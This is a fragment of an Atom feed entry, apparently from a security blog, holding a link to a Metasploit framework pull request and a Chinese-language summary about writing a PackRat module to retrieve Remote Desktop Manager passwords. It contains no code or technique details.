&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rapid7&#x2F;metasploit-framework&#x2F;pull&#x2F;17006&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;rapid7&#x2F;metasploit-framework&#x2F;pull&#x2F;17006&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        <summary type="html">编写Metasploit的PackRat模块获取RDM密码</summary>
        </entry>
</feed>
